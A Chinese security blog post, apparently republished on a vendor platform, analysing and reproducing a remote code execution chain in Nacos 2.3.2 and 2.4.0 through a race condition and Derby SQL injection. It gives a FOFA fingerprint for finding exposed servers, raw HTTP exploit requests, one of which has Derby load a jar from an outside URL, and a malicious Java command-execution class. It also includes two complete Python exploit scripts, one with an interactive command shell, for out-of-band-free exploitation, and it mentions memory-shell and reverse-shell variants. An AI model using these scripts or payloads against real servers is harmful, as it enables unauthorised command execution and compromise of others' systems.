长亭百川云 - 文章详情

Nacos RCE漏洞分析、复现及不出网利用姿势

银针安全

227

2024-07-19

再不蹭热点就凉啦~

--vvmdx

  • 0x01 简介

  • 0x02 涉及软件

  • 0x03 检索指纹

  • 0x04 漏洞分析

  • 执行用户上传的文件

  • 条件竞争

  • SQL注入

  • 0x05 漏洞复现

  • 0x06 不出网利用姿势

  • 准备

  • 基于FUNCTION的不出网利用

  • 基于PROCEDURE的不出网利用

  • 0x07 延伸场景及总结

0x01 简介

Nacos(全称为 “Naming and Configuration Service”)是一个开源的分布式服务发现和配置管理平台,由阿里巴巴集团开发并开源。Nacos 提供了服务注册、发现、配置管理、动态 DNS 服务等功能,可帮助开发者构建弹性的、高可用的微服务架构。

0x02 涉及软件

nacos2.3.2
nacos2.4.0

0x03 检索指纹

fofa: app="NACOS"

0x04 漏洞分析

环境搭建:

git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up

该漏洞最早于2020年出现在https://github.com/alibaba/nacos/issues/4463 当时官方不认这个漏洞,认为是特性,默认的docker也没加鉴权,当时这个漏洞主要用于未授权查询SQL,现在配合另一个可造成命令执行的漏洞。

该漏洞有两个利用条件:

  1. 配合条件竞争执行恶意SQL,加载恶意jar并注册函数

  2. 利用2020年的nacos derby sql注入漏洞(CVE-2021-29442)调用恶意函数拿到回显结果

执行用户上传的文件

最新代码存在第二行鉴权行,然而最新版本的官方docker默认配置也不加鉴权

@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
    DeferredResult<RestResult<String>> response = new DeferredResult<>();
    if (!DatasourceConfiguration.isEmbeddedStorage()) {
        response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
        return response;
    }
    DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
    WebUtils.onFileUpload(multipartFile, file -> {
        NotifyCenter.publishEvent(new DerbyImportEvent(false));
        databaseOperate.dataImport(file).whenComplete((result, ex) -> {
            NotifyCenter.publishEvent(new DerbyImportEvent(true));
            if (Objects.nonNull(ex)) {
                response.setResult(RestResultUtils.failed(ex.getMessage()));
                return;
            }
            response.setResult(result);
        });
    }, response);
    return response;
}

条件竞争

对/data/removal
接口进行文件上传时,会创建临时文件记录数据,随后删除,关键函数为这个onFileUpload
函数

public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
            DeferredResult<RestResult<String>> response) {
        if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
            response.setResult(RestResultUtils.failed("File is empty"));
            return;
        }
        File tmpFile = null;
        try {
            tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
            multipartFile.transferTo(tmpFile);
            consumer.accept(tmpFile);
        } catch (Throwable ex) {
            if (!response.isSetOrExpired()) {
                response.setResult(RestResultUtils.failed(ex.getMessage()));
            }
        } finally {
            DiskUtils.deleteQuietly(tmpFile);
        }
    }

这里用了类似生产-消费者的模式:

  • 生产者会产生/tmp下的临时数据包,删除数据包的几个过程,消费者对取到的数据包进行导入数据库操作

  • 个人理解这里的消费者操作是异步的,且代码中没有看到任何锁的机制

  • 导入数据慢,删除数据快,消费者获取到的数据包很可能已经被删除了,呈现出我们直接访问接口上传恶意数据通常会报”找不到文件错误“

  • 通过大并发发包,我们产生了大量的文件句柄,使得系统在删除对应的句柄时出现了迟缓,提高了消费者在数据删除前导入数据的机会,可以让消费者成功取到几次数据,实现恶意jar包的导入、从而导致恶意函数的创建。

条件竞争失败则返回

{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}

条件竞争成功则返回

{"code":200,"message":null,"data":""}

重复多次成功则返回already exists

{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0);         CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag');         CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}

SQL注入

SQL注入发生点则是一个2020年的漏洞(CVE-2021-29442),允许我们任意select,最新代码多了第二行鉴权行,然而默认最新版本的官方docker也不加鉴权,这也是风险所在

@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin") //鉴权行
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
    String selectSign = "SELECT";
    String limitSign = "ROWS FETCH NEXT";
    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
    try {
        if (!DatasourceConfiguration.isEmbeddedStorage()) {
            return RestResultUtils.failed("The current storage mode is not Derby");
        }
        LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
            .getInstance().getDataSource();
        if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
            if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
                sql += limit;
            }
            JdbcTemplate template = dataSourceService.getJdbcTemplate();
            List<Map<String, Object>> result = template.queryForList(sql);
            return RestResultUtils.success(result);
        }
        return RestResultUtils.failed("Only query statements are allowed to be executed");
    } catch (Exception e) {
        return RestResultUtils.failed(e.getMessage());
    }
}

/nacos/v1/cs/ops/derby
和/nacos/v1/cs/ops/data/removal
在使用Derby数据库作为内置数据源时,用于运维人员进行数据运维和问题排查

  • derby接口可以做select查询

  • removal接口的本意应该是用于运维人员做数据迁移导入数据用的,在此漏洞的利用过程中,其提供了执行任意多条sql语句的作用,唯一疑惑的是这个接口在上传SQL代码时是概率性成功的,似乎不像一个正常功能

官方在7月16日发布了有关这些接口的公告[4],主要也在强调鉴权的重要性

0x05 漏洞复现

首先需要配合条件竞争执行恶意sql,加载jar包并注册函数

请求包(需要网络环境较好的场景,通常需要重复发包100甚至上千次左右)直到结果返回success

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 496
Content-Type: multipart/form-data; boundary=80d34d17b69db69702aa0eb666e2f7fb
--80d34d17b69db69702aa0eb666e2f7fb
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://127.0.0.1:5001/download', 'NACOS.hPbTQwag', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag')
        CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        --80d34d17b69db69702aa0eb666e2f7fb--

执行完上传文件的恶意sql后,就可以用CVE-2021-29442执行UDF函数实现RCE

GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

0x06 不出网利用姿势

准备

接收参数并执行命令的类,测试时发现data/removal
接口不可返回内容,因此需要使用void的静态方法,否则CALL的时候会报错

恶意类:用于接收传参并执行命令

package example;
public class Test {
    public static void main(String[] args) {
    }
    public static void exec(String cmd) {
        StringBuffer bf = new StringBuffer();
        try {
            Process p = Runtime.getRuntime().exec(cmd);
        } catch (Exception var10) {
        }
    }
}

src/META-INF/manifest.txt

Manifest-Version: 1.0
  Main-Class: example.Test

编译、打包、编码

javac src/example/Test.java
jar -cvf payload.jar -C src/ .
cat payload.jar|base64

最终jar包目录结构:

├── payload.jar
└── src
    ├── META-INF
    │   └── manifest.txt
    └── example
        ├── Test.class
        └── Test.java

基于FUNCTION的不出网利用

条件:需要两个接口有权访问

原理:利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
写文件到本地再加载,实现不出网利用(使用方法参考derby官网文档[2])

import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b'' // 准备阶段获得的base64编码
payload = base64.b64decode(payload).hex()
def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
        CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        """.format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            while True:
                command = input('>>>')
                get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
                get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                print(get_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

基于PROCEDURE的不出网利用

条件:只需要data/removal
有权访问

该方法可以用于某些只拦截/derby
sql查询接口的waf

这个方法最早出现在lvyyevd的博客[1]中,原理是创建一个Java存储过程,而后可以调用类的静态方法
使用方法:derby官网文档[3]

import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b''
payload = base64.b64decode(payload).hex()
def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
    now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i)
        post_sql = """
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar}.jar')
        CALL sqlj.install_jar('/tmp/{jar}.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE PROCEDURE {table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
        CALL {table}('touch /tmp/666')\n""".format(junk=os.urandom(3).hex(),table=now_table,payload=payload,id=now_id,jar=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        if not post_resp.json()['message'].startswith('File'):
            print(post_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

0x07 延伸场景及总结

  1. 该漏洞配合未授权漏洞可以实现命令执行(默认不改配置则不鉴权)

  2. 配合nacos的任意用户创建漏洞/弱口令等实现授权后的命令执行

  3. nacos多了一条执行命令的链路

  4. 修改jar包可直接注入内存马,更贴合实战

  5. 理论上部分出网场景中调第一个removal函数直接反弹shell也可

参考

[1].http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

[2].https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html

[3].https://db.apache.org/derby/docs/10.14/ref/rrefcreateprocedurestatement.html

[4].https://nacos.io/blog/announcement-derby-ops-api/?source=news\_announcement/

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2